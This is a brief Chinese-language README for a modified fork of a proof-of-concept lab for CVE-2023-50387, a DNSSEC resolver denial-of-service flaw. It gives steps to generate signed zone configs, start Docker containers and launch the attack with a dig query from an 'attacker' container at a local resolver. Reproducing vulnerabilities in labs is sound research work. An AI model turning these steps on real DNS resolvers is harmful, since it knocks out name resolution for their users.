基于 https://github.com/knqyf263/CVE-2023-50387 的仓库,进行了多处修改:
若要自动生成配置文件:
./generar.sh
前置条件:该脚本是为 Linux 编写的,需要安装 python3 以及 dnssec-keygen 和 dnssec-signzone 工具(在基于 Debian 的系统中,位于 bind9-utils 软件包内)。
若要启动 Docker 容器:
sudo docker-compose up --build
若要发起攻击:
sudo docker compose exec -it attacker dig @10.10.0.3 www.a.test